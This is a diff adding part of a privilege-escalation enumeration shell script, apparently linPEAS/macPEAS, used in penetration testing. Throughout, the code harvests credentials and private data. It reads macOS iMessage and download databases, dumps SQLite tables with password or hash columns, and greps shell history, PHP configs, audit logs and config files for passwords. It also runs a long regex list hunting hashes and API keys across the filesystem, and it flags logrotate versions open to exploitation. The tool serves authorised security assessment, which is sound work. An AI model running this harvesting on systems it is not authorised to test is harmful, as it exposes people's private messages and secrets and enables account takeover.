+##-- IF) Executable files added by user
+print_2title "Executable files potentially added by user (limit 70)"
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
+else
+ find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
+fi
+echo ""
+
+
+
+if [ "$MACPEAS" ]; then
+ print_2title "Unsigned Applications"
+ macosNotSigned /System/Applications
+fi
+
+##-- IF) Unexpected in /opt
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$(ls /opt 2>/dev/null)" ]; then
+ print_2title "Unexpected in /opt (usually empty)"
+ ls -la /opt
+ echo ""
+ fi
+fi
+
+##-- IF) Unexpected folders in /
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Unexpected in root"
+ if [ "$MACPEAS" ]; then
+ (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
+ else
+ (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
+ fi
+ echo ""
+fi
+
+##-- IF) Modified interesting files into specific folders in the last 5mins
+print_2title "Modified interesting files in the last 5mins (limit 100)"
+find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
+echo ""
+
+##-- IF) Writable log files
+if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below
+print_2title "Writable log files (logrotten) (limit 50)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
+ logrotate --version 2>/dev/null || echo_not_found "logrotate"
+ lastWlogFolder="ImPOsSiBleeElastWlogFolder"
+ logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
+ printf "%s\n" "$logfind" | while read log; do
+ if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found
+ if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
+ elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
+ elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
+ elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
+ fi
+ fi
+ done
+fi
+
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ##-- IF) Files inside my home
+ print_2title "Files inside $HOME (limit 20)"
+ (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
+ echo ""
+
+ ##-- IF) Files inside /home
+ print_2title "Files inside others home (limit 20)"
+ (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
+ echo ""
+
+ ##-- IF) Mail applications
+ print_2title "Searching installed mail applications"
+ ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
+ echo ""
+
+ ##-- IF) Mails
+ print_2title "Mails (limit 50)"
+ (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
+ echo ""
+
+ ##-- IF) Backup folders
+ if [ "$backup_folders" ] || [ "$DEBUG" ]; then
+ print_2title "Backup folders"
+ printf "%s\n" "$backup_folders" | while read b ; do
+ ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
+ ls -l "$b" 2>/dev/null && echo ""
+ done
+ echo ""
+ fi
+fi
+
+##-- IF) Backup files
+print_2title "Backup files (limited 100)"
+backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
+printf "%s\n" "$backs" | head -n 100 | while read b ; do
+ if [ -r "$b" ]; then
+ ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
+ fi;
+done
+echo ""
+
+##-- IF) DB files
+if [ "$MACPEAS" ]; then
+ print_2title "Reading messages database"
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
+
+fi
+
+
+if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
+ print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
+ FILECMD="$(command -v file 2>/dev/null)"
+ printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
+ if [ "$FILECMD" ]; then
+ echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
+ else
+ echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
+ fi
+ done
+ SQLITEPYTHON=""
+ echo ""
+ printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
+ if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd
+ if [ "$(command -v sqlite3 2>/dev/null)" ]; then
+ tables=$(sqlite3 $f ".tables" 2>/dev/null)
+ #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
+ elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
+ SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
+ tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
+ #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
+ else
+ tables=""
+ fi
+ if [ "$tables" ] || [ "$DEBUG" ]; then
+ printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
+ printf "%s\n" "$tables" | while read t; do
+ columns=""
+ # Search for credentials inside the table using sqlite3
+ if [ -z "$SQLITEPYTHON" ]; then
+ columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
+ # Search for credentials inside the table using python
+ else
+ columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
+ fi
+ # Check found columns for interesting fields
+ INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
+ if [ "$INTCOLUMN" ]; then
+ printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
+ printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
+ (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
+ echo ""
+ fi
+ done
+ fi
+ fi
+ done
+fi
+echo ""
+
+if [ "$MACPEAS" ]; then
+ print_2title "Downloaded Files"
+ sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
+fi
+
+##-- IF) Web files
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Web files?(output limit)"
+ ls -alhR /var/www/ 2>/dev/null | head
+ ls -alhR /srv/www/htdocs/ 2>/dev/null | head
+ ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
+ ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
+ echo ""
+fi
+
+##-- IF) All hidden files
+print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
+find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
+echo ""
+
+##-- IF) Readable files in /tmp, /var/tmp, backups
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
+ filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
+ printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
+ echo ""
+fi
+
+##-- IF) Passwords in history cmd
+if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in history cmd"
+ history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo ""
+fi
+
+##-- IF) Passwords in history files
+if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in history files"
+ printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
+ echo ""
+fi
+
+##-- IF) Passwords in config PHP files
+if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in config PHP files"
+ printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
+ echo ""
+fi
+
+##-- IF) Passwords files in home
+if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
+ print_2title "Searching *password* or *credential* files in home (limit 70)"
+ (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
+ echo ""
+fi
+
+##-- IF) TTY passwords
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Checking for TTY (sudo/su) passwords in audit logs"
+ aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
+ find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
+ echo ""
+fi
+
+##-- IF) IPs inside logs
+if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
+ print_2title "Searching IPs inside logs (limit 70)"
+ (find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
+ echo ""
+fi
+
+##-- IF) Passwords inside logs
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching passwords inside logs (limit 70)"
+ (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
+ echo ""
+fi
+
+if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
+ ##-- IF) Emails inside logs
+ print_2title "Searching emails inside logs (limit 70)"
+ (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
+ echo ""
+fi
+
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
+ ##-- IF) Find possible files with passwords
+ print_2title "Searching possible password variables inside key folders (limit 140)"
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ else
+ timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
+ fi
+ wait
+ echo ""
+
+ ##-- IF) Find possible conf files with passwords
+ print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
+ else
+ ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null)
+ fi
+ printf "%s\n" "$ppicf" | while read f; do
+ if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then
+ echo "$ITALIC $f$NC"
+ grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
+ fi
+ done
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q api_keys_regex; then
+print_title "API Keys Regex"
+
+search_for_regex(){
+ title=$1
+ regex=$2
+ caseSensitive=$3
+
+ if [ "$caseSensitive" ]; then
+ i="i"
+ else
+ i=""
+ fi
+
+ print_3title_no_nl "Searching $title..."
+
+ if [ "$SEARCH_IN_FOLDER" ]; then
+ timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+ else
+ # Search in home direcoties (usually the slowest)
+ timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in etc
+ timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in opt
+ timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in possible web folders (usually only 1 will exist)
+ timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in logs
+ timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in backups
+ timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+
+ # Search in others folders (usually only /srv or /Applications will exist)
+ timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
+ fi
+ wait
+ printf "\033[2K\r"
+}
+
+
+
+if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
+ print_2title "Searching Hashed Passwords"
+ search_for_regex "Apr1 MD5" "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"
+ search_for_regex "Apache SHA" "\{SHA\}[0-9a-zA-Z/_=]{10,}"
+ search_for_regex "Blowfish" "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*"
+ search_for_regex "Drupal" "\$S\$[a-zA-Z0-9_/\.]{52}"
+ search_for_regex "Joomlavbulletin" "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}"
+ search_for_regex "Linux MD5" "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}"
+ search_for_regex "phpbb3" "\$H\$[a-zA-Z0-9_/\.]{31}"
+ search_for_regex "sha512crypt" "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}"
+ search_for_regex "Wordpress" "\$P\$[a-zA-Z0-9_/\.]{31}"
+ echo ''
+
+ print_2title "Searching Raw Hashes"
+ search_for_regex "sha512" "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"
+ echo ''
+
+ print_2title "Searching APIs"
+ search_for_regex "Adobe Client Id (Oauth Web)" "(adobe[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"]" 1
+ search_for_regex "Abode Client Secret" "(p8e-)[a-z0-9]{32}" 1
+ search_for_regex "Age Secret Key" "AGE-SECRET-KEY-1[QPZRY9X8GF2TVDW0S3JN54KHCE6MUA7L]{58}"
+ search_for_regex "Airtable API Key" "[\"']?air[-_]?table[-_]?api[-_]?key[\"']?[=:][\"']?.+[\"']\""
+ search_for_regex "Alchemi API Key" "(alchemi[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9-]{32})['\"]" 1
+ search_for_regex "Alibaba Access Key ID" "(LTAI)[a-z0-9]{20}" 1
+ search_for_regex "Alibaba Secret Key" "(alibaba[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]" 1
+ search_for_regex "Artifactory API Key & Password" "[\"']AKC[a-zA-Z0-9]{10,}[\"']|[\"']AP[0-9ABCDEF][a-zA-Z0-9]{8,}[\"']"
+ search_for_regex "Asana Client ID" "((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9]{16})['\"])|((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1
+ search_for_regex "Atlassian API Key" "(atlassian[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{24})['\"]" 1
+ search_for_regex "AWS Client ID" "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
+ search_for_regex "AWS MWS Key" "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
+ search_for_regex "AWS Secret Key" "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"
+ search_for_regex "AWS AppSync GraphQL Key" "da2-[a-z0-9]{26}"
+ search_for_regex "Basic Auth Credentials" "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"
+ search_for_regex "Beamer Client Secret" "(beamer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](b_[a-z0-9=_\-]{44})['\"]" 1
+ search_for_regex "Binance API Key" "(binance[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{64})['\"]" 1
+ search_for_regex "Bitbucket Client Id" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"])" 1
+ search_for_regex "Bitbucket Client Secret" "((bitbucket[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9_\-]{64})['\"])" 1
+ search_for_regex "BitcoinAverage API Key" "(bitcoin.?average[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{43})['\"]" 1
+ search_for_regex "Bitquery API Key" "(bitquery[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]" 1
+ search_for_regex "Birise API Key" "(bitrise[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9_\-]{86})['\"]" 1
+ search_for_regex "Block API Key" "(block[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4})['\"]" 1
+ search_for_regex "Blockchain API Key" "mainnet[a-zA-Z0-9]{32}|testnet[a-zA-Z0-9]{32}|ipfs[a-zA-Z0-9]{32}"
+ search_for_regex "Blockfrost API Key" "(blockchain[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[0-9a-f]{12})['\"]" 1
+ search_for_regex "Box API Key" "(box[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1
+ search_for_regex "Bravenewcoin API Key" "(bravenewcoin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{50})['\"]" 1
+ search_for_regex "Clearbit API Key" "sk_[a-z0-9]{32}"
+ search_for_regex "Clojars API Key" "(CLOJARS_)[a-zA-Z0-9]{60}"
+ search_for_regex "Cloudinary Basic Auth" "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"
+ search_for_regex "Coinlayer API Key" "(coinlayer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Coinlib API Key" "(coinlib[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{16})['\"]" 1
+ search_for_regex "Contentful delivery API Key" "(contentful[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{43})['\"]" 1
+ search_for_regex "Covalent API Key" "ckey_[a-z0-9]{27}"
+ search_for_regex "Charity Search API Key" "(charity.?search[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Databricks API Key" "dapi[a-h0-9]{32}"
